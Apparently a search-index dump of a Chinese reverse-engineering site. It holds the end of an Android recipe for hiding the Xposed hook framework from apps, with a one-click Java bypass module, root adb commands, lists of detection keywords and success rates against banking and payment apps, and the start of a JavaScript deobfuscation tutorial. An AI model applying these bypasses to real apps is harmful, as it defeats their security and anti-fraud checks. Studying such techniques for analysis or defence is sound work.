","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:6:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#问题-2定制框架编译失败"},{"categories":null,"collections":null,"content":"问题 3：Hook 后 App 功能异常或崩溃 可能原因： Hook 范围太广，影响了正常功能 返回值类型不匹配 Hook 的方法签名不正确 解决方案： 方案 1：精准 Hook，缩小作用范围 错误示范：全局 Hook // 这样会影响所有类加载，包括正常业务 XposedHelpers.findAndHookMethod(Class.class, \"forName\", String.class, ...); 正确示范：针对性 Hook // 只 Hook 已知的检测类 XposedHelpers.findAndHookMethod( \"com.target.app.security.SecurityChecker\", lpparam.classLoader, \"checkXposed\", new XC_MethodReplacement() { @Override protected Object replaceHookedMethod(MethodHookParam param) { XposedBridge.log(\"[AntiDetect] checkXposed() blocked\"); return false; // 返回\"未检测到\" } } ); 方案 2：添加条件判断 @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String className = (String) param.getResult(); // 只过滤 Xposed 相关，不影响其他类 if (className != null \u0026\u0026 className.toLowerCase().contains(\"xposed\")) { param.setResult(\"android.app.Activity\"); } // 其他情况保持原样，不做修改 } 方案 3：逐个启用 Hook 测试 @Override public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable { // 一次只启用一个拦截，测试是否导致崩溃 hookStackTrace(); // 测试：OK // hookClassForName(); // 暂时注释掉 // hookFileExists(); // 暂时注释掉 // 逐个启用并测试，找出导致崩溃的拦截 } 方案 4：确保返回值类型正确 // 确保返回值类型匹配 @Override protected void afterHookedMethod(MethodHookParam param) { // 如果原方法返回 boolean，你也必须返回 boolean param.setResult(false); // 正确 // param.setResult(\"false\"); // 错误！类型不匹配 } ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:6:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#问题-3hook-后-app-功能异常或崩溃"},{"categories":null,"collections":null,"content":"问题 4：模块在 LSPosed 中不显示 可能原因： assets/xposed_init 文件缺失或路径错误 AndroidManifest.xml 中缺少 Xposed 元数据声明 模块入口类的包名/类名与 xposed_init 中不一致 LSPosed 缓存未刷新 解决方案： 方案 1：检查 assets/xposed_init 文件 # 确认文件存在 unzip -l app-release.apk | grep xposed_init # 应该看到: assets/xposed_init # 检查内容（必须是完整类名，无文件扩展名） unzip -p app-release.apk assets/xposed_init # 输出应该是：com.example.antidetect.AntiXposedDetection 方案 2：确认文件路径正确 正确路径： app/src/main/assets/xposed_init # 正确 错误路径： app/assets/xposed_init # 错误 方案 3：检查 AndroidManifest.xml \u003c!-- 必须有这三个 meta-data --\u003e \u003cmeta-data android:name=\"xposedmodule\" android:value=\"true\" /\u003e \u003cmeta-data android:name=\"xposeddescription\" android:value=\"Hide Xposed from detection\" /\u003e \u003cmeta-data android:name=\"xposedminversion\" android:value=\"54\" /\u003e \u003c/application\u003e 方案 4：确认入口类存在 # 检查入口类是否存在 ls -l ./decompiled/com/example/antidetect/AntiXposedDetection.java # 确认类实现了 IXposedHookLoadPackage 接口 grep \"implements IXposedHookLoadPackage\" \\ ./decompiled/com/example/antidetect/AntiXposedDetection.java 方案 5：刷新 LSPosed 缓存 # 清除 LSPosed 缓存 adb shell \"su -c 'rm -rf /data/adb/lspd/cache/*'\" # 重新安装 adb install app-release.apk # 重启 LSPosed（或重启设备） adb shell \"su -c 'killall -9 com.android.systemui'\" # 或 adb reboot # 打开 LSPosed 管理器，应该能看到模块 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:6:4","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#问题-4模块在-lsposed-中不显示"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:7:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 逆向工程工作流 - 完整的逆向分析流程 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:7:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Xposed 使用指南 - Xposed 框架基础使用 Xposed 内部原理 - Xposed 工作机制详解 Frida 使用指南 - Frida 与 Xposed 协同使用 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:7:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#工具深入"},{"categories":null,"collections":null,"content":"参考资料 Android 沙箱实现 - 虚拟化环境中使用 Xposed ART 运行时 - 理解 Xposed 如何修改 ART ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:7:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#参考资料"},{"categories":null,"collections":null,"content":"案例分析 💡 思路一句话: App 检测 Xposed 的常见方式：搜索已安装包名、检查调用栈、扫描 /proc/maps → 对应绕过：用 LSPosed 隐藏模块 + hook 堆栈过滤 + 内存映射重命名。 反分析技术案例 - 综合反分析技术案例 社交媒体风控 - 社交应用的 Xposed 检测 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:7:4","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#案例分析"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#快速参考"},{"categories":null,"collections":null,"content":"Xposed 检测方法速查表 检测类型 检测层级 特征代码 绕过方法 Hook 目标 调用栈检测 Java getStackTrace() + contains(\"xposed\") Hook 返回值过滤 StackTraceElement.getClassName() 类加载检测 Java Class.forName(\"XposedBridge\") 抛出 ClassNotFoundException Class.forName() 已加载类检测 Java ClassLoader.loadClass(...) 同上 ClassLoader.loadClass() 文件检测 Java new File(\"/system/.../XposedBridge.jar\").exists() 返回 false File.exists() maps 检测 Native fopen(\"/proc/self/maps\") + strstr(\"libxposed\") Hook fopen 或定制框架 libc.fopen() 系统属性检测 Java/Native System.getProperty(\"vxp_...\") 返回 null System.getProperty() 符号地址检测 Native dlsym(...) 检查地址异常 定制框架 N/A（需源码修改） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#xposed-检测方法速查表"},{"categories":null,"collections":null,"content":"完整绕过模块模板（一键使用） 保存为 AntiXposedBypass.java，修改包名和目标 App 即可使用： package com.example.antidetect; import de.robv.android.xposed.*; import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; import java.io.File; public class AntiXposedBypass implements IXposedHookLoadPackage { private static final String TARGET = \"com.target.app\"; // 改为你的目标 App @Override public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable { if (!lpparam.packageName.equals(TARGET)) return; XposedBridge.log(\"[Bypass] Hooking \" + TARGET); // 1. 绕过调用栈检测 XposedHelpers.findAndHookMethod(StackTraceElement.class, \"getClassName\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String name = (String) param.getResult(); if (name != null \u0026\u0026 name.toLowerCase().contains(\"xposed\")) { param.setResult(\"com.android.internal.os.ZygoteInit\"); } } }); // 2. 绕过类加载检测 XposedHelpers.findAndHookMethod(Class.class, \"forName\", String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String cls = (String) param.args[0]; if (cls != null \u0026\u0026 cls.toLowerCase().contains(\"xposed\")) { param.setThrowable(new ClassNotFoundException(cls)); } } }); // 3. 绕过文件检测 XposedHelpers.findAndHookMethod(File.class, \"exists\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String path = ((File) param.thisObject).getAbsolutePath(); if (path.toLowerCase().contains(\"xposed\") || path.toLowerCase().contains(\"edxposed\") || path.toLowerCase().contains(\"lspd\")) { param.setResult(false); } } }); XposedBridge.log(\"[Bypass] All hooks activated\"); } } ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#完整绕过模块模板一键使用"},{"categories":null,"collections":null,"content":"常用命令速查 # ========== 环境检查 ========== # 检查 Xposed 框架状态 adb shell \"su -c 'ls -l /system/framework/Xposed'\" adb shell \"su -c 'ps -A | grep xposed'\" # 查看已安装的 Xposed 模块 adb shell \"su -c 'ls /data/app/ | grep -i xposed'\" # 检查 LSPosed 状态 adb shell \"su -c 'ls -l /data/adb/lspd/'\" # ========== 日志调试 ========== # 查看 Xposed 框架日志 adb logcat -s Xposed:V # 查看模块日志（假设模块标签为 AntiDetect） adb logcat | grep AntiDetect # 查看 App 检测相关日志 adb logcat | grep -iE \"detect|xposed|security|check\" # 清空日志并实时查看 adb logcat -c \u0026\u0026 adb logcat -v time # ========== 模块管理 ========== # 编译 Xposed 模块 ./gradlew assembleDebug # Debug 版 ./gradlew assembleRelease # Release 版 # 安装模块 adb install app/build/outputs/apk/debug/app-debug.apk # 卸载模块 adb uninstall com.example.antidetect # 重启目标 App（应用更改） adb shell am force-stop com.target.app adb shell am start -n com.target.app/.MainActivity # ========== 定制框架 ========== # 推送自定义框架到设备 adb push EdXposed-custom.zip /sdcard/ # 在 Magisk 中安装（命令行方式） adb shell \"su -c 'magisk --install-module /sdcard/EdXposed-custom.zip'\" # 重启设备 adb reboot # ========== 测试验证 ========== # 安装 XposedChecker 测试工具 adb install XposedChecker.apk # 运行目标 App 并观察行为 adb shell am start -n com.target.app/.MainActivity # 抓取崩溃日志 adb logcat -b crash # 检查进程内存映射（查找 Xposed 特征） adb shell \"su -c 'cat /proc/$(pidof com.target.app)/maps | grep -i xposed'\" ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#常用命令速查"},{"categories":null,"collections":null,"content":"常见检测代码模式 // ========== Java 层检测模式 ========== // 模式 1：调用栈检测 if (element.getClassName().contains(\"xposed\")) { /* 检测到 */ } // 模式 2：异常调用栈检测 try { throw new Exception(); } catch (Exception e) { for (StackTraceElement elem : e.getStackTrace()) { /* 检查 */ } } // 模式 3：类加载检测 Class.forName(\"de.robv.android.xposed.XposedBridge\"); // 模式 4：ClassLoader 检测 ClassLoader.getSystemClassLoader().loadClass(\"de.robv.android.xposed.XposedHelpers\"); // 模式 5：文件检测 new File(\"/system/framework/XposedBridge.jar\").exists() // 模式 6：系统属性检测 System.getProperty(\"vxp_forbid_status\") System.getProperty(\"ro.xposed.version\") // ========== Native 层检测模式 ========== // 模式 7：maps 文件检测（C/C++） FILE* fp = fopen(\"/proc/self/maps\", \"r\"); // 然后搜索 \"xposed\" 或 \"libxposed\" // 模式 8：dlopen 检测 void* handle = dlopen(\"libxposed_art.so\", RTLD_NOW); if (handle != NULL) { /* 检测到 */ } ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:4","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#常见检测代码模式"},{"categories":null,"collections":null,"content":"搜索检测代码的关键词 xposed XposedBridge de.robv.android.xposed getStackTrace Class.forName /proc/self/maps libxposed vxp_forbid ro.xposed EdXposed LSPosed ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:5","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#搜索检测代码的关键词"},{"categories":null,"collections":null,"content":"App 类型与推荐策略 App 类型 常见检测方式 推荐策略 成功率 普通应用（社交、工具） Java 层调用栈检测 策略 A：通用 Hook 模块 95% 金融 App（银行、支付） Java + Native 综合检测 策略 C：定制框架 + Hook 70% 大型游戏 Native 层 + 定时检测 策略 C：定制框架 60% 安全类 App（VPN、杀毒） 深度检测 + 完整性校验 策略 C + 虚拟化 50% 小众 App 简单检测或无检测 策略 B：现成模块 99% 成功率说明： 95%+：通用方法即可绕过 70-90%：需要针对性编写 Hook 50-70%：需要定制框架或多种技术组合 \u003c50%：可能需要虚拟化、系统级修改等高级技术 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:8:6","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#app-类型与推荐策略"},{"categories":null,"collections":null,"content":"JavaScript 反混淆 (Deobfuscation) 使用 AST 工具和手动技巧，还原混淆代码的可读性，快速定位核心加密逻辑。 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:0:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#javascript-反混淆-deobfuscation"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐⭐⭐⭐ (高级) 预计时间 2-8 小时 (根据混淆复杂度) 所需工具 Chrome DevTools, Babel, AST Explorer, Node.js 适用场景 混淆代码分析、加密算法提取、恶意代码分析 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:1:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 JavaScript 基础 必需 JavaScript 基础 JavaScript 执行机制 必需 JavaScript 执行机制 AST 工具使用 必需 AST 工具 Chrome DevTools 必需 浏览器开发者工具 Node.js 调试 推荐 Node.js 调试 💡 提示: JavaScript 反混淆是高级逆向的核心技能。建议深入理解 AST（抽象语法树）原理，这是自动化反混淆的基础。如果完全没有 AST 基础，建议先阅读 AST 工具指南。 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:2:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#-前置知识"},{"categories":null,"collections":null,"content":"学习目标 完成本配方后，你将能够： ✅ 识别常见的混淆技术类型 ✅ 使用 AST 工具批量还原混淆代码 ✅ 手动分析和还原关键逻辑 ✅ 处理字符串数组、控制流平坦化等高级混淆 ✅ 使用调试技巧绕过混淆代码 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:3:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#学习目标"},{"categories":null,"collections":null,"content":"核心概念 混淆 (Obfuscation) 是 Web 逆向最大的拦路虎。代码混淆技术通过变换代码结构和语义，在不改变程序功能的前提下大幅增加逆向分析的难度。常见的混淆手段包括变量名压缩、字符串数组加密、大整数运算、控制流平坦化、死代码注入等。 反混淆的本质：通过自动化或手动手段还原代码的可读性，理解核心加密逻辑。 重要提醒：反混淆不是目的，理解逻辑才是。有时我们不需要还原全部代码，只要把关键的加密函数还原出来，或者直接找到调用入口即可。 反混淆策略: 1. 识别混淆类型 → 2. 选择工具/方法 → 3. 局部还原 → 4. 理解逻辑 → 5. 提取关键代码 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:4:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#核心概念"},{"categories":null,"collections":null,"content":"1. 混淆技术分类 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#1-混淆技术分类"},{"categories":null,"collections":null,"content":"1.1 变量名混淆 (Identifier Mangling) 特征: 所有变量、函数名变成无意义的短字符: a, b, _0x1234 类似压缩器（Uglify、Terser）的输出 示例: // 原始代码 function calculatePrice(basePrice, discount) { return basePrice * (1 - discount); } // 混淆后 function a(b, c) { return b * (1 - c); } 对抗方法: 使用 Chrome DevTools 的 “Rename Symbol” 功能手动重命名 使用 JSNice (http://jsnice.org/) 自动推测变量名 通过上下文理解变量含义 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#11-变量名混淆-identifier-mangling"},{"categories":null,"collections":null,"content":"1.2 字符串数组混淆 (String Array Obfuscation) 特征: 代码顶部有一个巨大的字符串数组: var _0x1234 = ['str1', 'str2', ...] 字符串通过索引访问: _0x1234[0] 而不是直接写 'str1' 通常配合数组旋转（Shuffle）和解密函数 示例: // 混淆后的代码 var _0xabcd = [\"aGVsbG8=\", \"d29ybGQ=\", \"Y29uc29sZQ==\", \"bG9n\"]; (function (_0x4a5b3e, _0x2f8c1d) { var _0x3e7a90 = function (_0x1c9f47) { while (--_0x1c9f47) { _0x4a5b3e[\"push\"](_0x4a5b3e[\"shift\"]()); } }; _0x3e7a90(++_0x2f8c1d); })(_0xabcd, 0x123); var _0x5678 = function (_0x4a5b3e, _0x2f8c1d) { _0x4a5b3e = _0x4a5b3e - 0x0; var _0x3e7a90 = _0xabcd[_0x4a5b3e]; if (_0x5678[\"initialized\"] === undefined) { // Base64 解码逻辑 _0x5678[\"decoder\"] = function (_0x1c9f47) { // ...解码代码 }; _0x5678[\"initialized\"] = ![]; } var _0x1c9f47 = _0x5678[\"decoder\"](_0x3e7a90); return _0x1c9f47; }; console[_0x5678(\"0x0\")](_0x5678(\"0x1\")); // 实际是 console.log('hello') 对抗方法: 在 Console 中执行数组和旋转函数，使其初始化 在 Console 中挂载解密函数 _0x5678 使用正则替换：_0x5678\\('0x(\\d+)'\\) → 执行并替换为真实字符串 使用 AST 工具自动还原（详见后文） ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#12-字符串数组混淆-string-array-obfuscation"},{"categories":null,"collections":null,"content":"1.3 控制流平坦化 (Control Flow Flattening) 特征: 整个函数变成一个 while(true) 循环 使用 switch-case 状态机控制执行流程 代码块被打乱，通过状态变量跳转 示例: // 原始代码 function add(a, b) { var result = a + b; console.log(result); return result; } // 平坦化后 function add(a, b) { var _0x1 = \"3|1|0|4|2\".split(\"|\"), _0x2 = 0; while (!![]) { switch (_0x1[_0x2++]) { case \"0\": console.log(result); continue; case \"1\": result = a + b; continue; case \"2\": return result; case \"3\": var result; continue; case \"4\": // 可能插入的垃圾代码 continue; } break; } } 对抗方法: 手动分析：记录状态转移路径，手动重组代码块 AST 还原：解析状态机的跳转逻辑，自动重建代码顺序（需要高级 AST 技巧） 动态执行：直接调用函数，通过输入输出推断逻辑 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#13-控制流平坦化-control-flow-flattening"},{"categories":null,"collections":null,"content":"1.4 僵尸代码注入 (Dead Code Injection) 特征: 插入大量永远不会执行的代码块 使用 if (false) 或永远为假的复杂条件 示例: function encrypt(data) { if (Math.random() \u003c 0) { // 这段代码永远不会执行 return decrypt(data); } var result = md5(data); if (!![] \u0026\u0026 ![]) { // 又是死代码 result = sha256(data); } return result; } 对抗方法: 使用 Babel 的常量折叠 (Constant Folding) 优化 手动识别并删除明显的死代码分支 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:4","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#14-僵尸代码注入-dead-code-injection"},{"categories":null,"collections":null,"content":"1.5 数字/字符串编码 (Encoding) 特征: 数字被编码为十六进制、八进制、或计算表达式 字符串被 Base64、Unicode 转义、或自定义编码 示例: // 原始 var port = 443; var msg = \"Hello\"; // 混淆后 var port = 0x1bb; // 十六进制 var port = 0o673; // 八进制 var port = 500 - 57; // 计算表达式 var msg = atob(\"SGVsbG8=\"); // Base64 var msg = \"\\u0048\\u0065\\u006c\\u006c\\u006f\"; // Unicode 对抗方法: AST 常量折叠自动计算 在 Console 手动执行编码字符串 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:5","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#15-数字字符串编码-encoding"},{"categories":null,"collections":null,"content":"1.6 特殊编码混淆 (JJEncode / AAEncode / JSFuck) 特征: JJEncode: 全是符号 $ _ + \" ☐ ( ) . ! AAEncode: 使用 颜文字 (゚Д゚) 等 JSFuck: 仅使用 []()!+ 六个字符 示例 (JSFuck): // alert(1) 的 JSFuck 版本 [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+... 对抗方法: 直接在 Console 执行（去掉最后的 () 避免立即执行） 使用在线工具: https://enkhee-osiris.github.io/Decoder-JSFuck/ 这些编码通常只是外层包装，解码后还需要进一步反混淆 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:5:6","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#16-特殊编码混淆-jjencode--aaencode--jsfuck"},{"categories":null,"collections":null,"content":"2. 混淆器识别 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:6:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#2-混淆器识别"},{"categories":null,"collections":null,"content":"2.1 javascript-obfuscator (最常见) 官网: https://obfuscator.io/ 特征: 顶部有 _0x???? 格式的字符串数组 自执行函数进行数组旋转 函数名、变量名全是 _0x???? 格式 可能包含控制流平坦化 配置等级: 等级 特征 难度 Low 仅变量名混淆 ⭐ Medium + 字符串数组 ⭐⭐ High + 控制流平坦化 ⭐⭐⭐⭐ Extreme + 死代码 + 自我防御 ⭐⭐⭐⭐⭐ 对抗工具: https://deobfuscate.io/ (针对 obfuscator.io) AST 自定义脚本（见 反混淆脚本） ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:6:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#21-javascript-obfuscator-最常见"},{"categories":null,"collections":null,"content":"2.2 Webpack/Rollup 打包 特征: 立即执行函数 (function(modules) { ... })([func1, func2, ...]) 模块通过索引访问: __webpack_require__(0) 有明显的模块加载器代码 对抗工具: webcrack: https://github.com/j4k0xb/webcrack npm install -g webcrack webcrack bundle.js -o output/ webpack-bundle-analyzer: 分析打包结构 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:6:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#22-webpackrollup-打包"},{"categories":null,"collections":null,"content":"2.3 商业级混淆 (Jscrambler, 形状安全等) 特征: 多层嵌套混淆 虚拟机保护 (JSVMP) 反调试陷阱 域名绑定 难度: ⭐⭐⭐⭐⭐ 对抗方法: 需要深入理解虚拟机原理（见 JavaScript 虚拟机保护） 通常需要 RPC 调用或完整扣代码 商业混淆通常不建议完全还原，直接 Hook 或 RPC 更高效 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:6:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#23-商业级混淆-jscrambler-形状安全等"},{"categories":null,"collections":null,"content":"3. 自动化反混淆工具 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:7:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#3-自动化反混淆工具"},{"categories":null,"collections":null,"content":"3.1 在线工具对比 工具 链接 支持混淆类型 优点 缺点 deobfuscate.io https://deobfuscate.io/ obfuscator.io 专门针对 obfuscator.io 仅支持特定混淆器 JSNice http://jsnice.org/ 变量名恢复 AI 推测变量名 不处理字符串数组 Prettier https://prettier.io/playground/ 代码格式化 美化代码结构 不解密字符串 de4js https://lelinhtinh.github.io/de4js/ JJEncode, AAEncode, JSFuck 支持特殊编码 不支持通用混淆 Synchrony https://deobfuscate.relative.im/ 通用混淆 自动识别混淆类型 准确率一般 ","date":"2025-02-21","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/:7:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","进阶"],"title":"JavaScript 反混淆 (Deobfuscation)","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_deobfuscation/#31-在线工具对比"},{"categories":null,"collections":null,"content":"3.2 本地工具 Babel + AST (推荐) 安装: npm install @babel/core @babel/parser @babel/traverse @babel/generator @babel/types 基础反混淆脚本: const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 1. 常量折叠 traverse(ast, { BinaryExpression(path) { const result = path.evaluate(); if (result.confident) { path.replaceWith(t.valueToNode(result.value)); } }, }); // 2. 字符串数组还原（需要先执行数组初始化代码） // 具体实现见 07-Scripts/deobfuscation_scripts.md // 3. 删除死代码 traverse(ast, { IfStatement(path) { const test = path.get(\"test\").evaluate(); if (test.confident) { if (test.value) { path.replaceWithMultiple(path.node.consequent.body); } else if (path.node.alternate) { path.replaceWith(path.node.alternate); } else { path.remove(); } } }, }); // 输出结果 const output = generator(ast, {}, code); fs.writeFileSync(\"deobfuscated.js\", output.code); 详细的 AST 反混淆脚本见：反混淆脚本 webcrack (Webpack 专用) npm install -g webcrack webcrack bundle.js -o output/ 功能: 自动识别 Webpack 打包 提取模块代码 还原目录结构 重命名变量 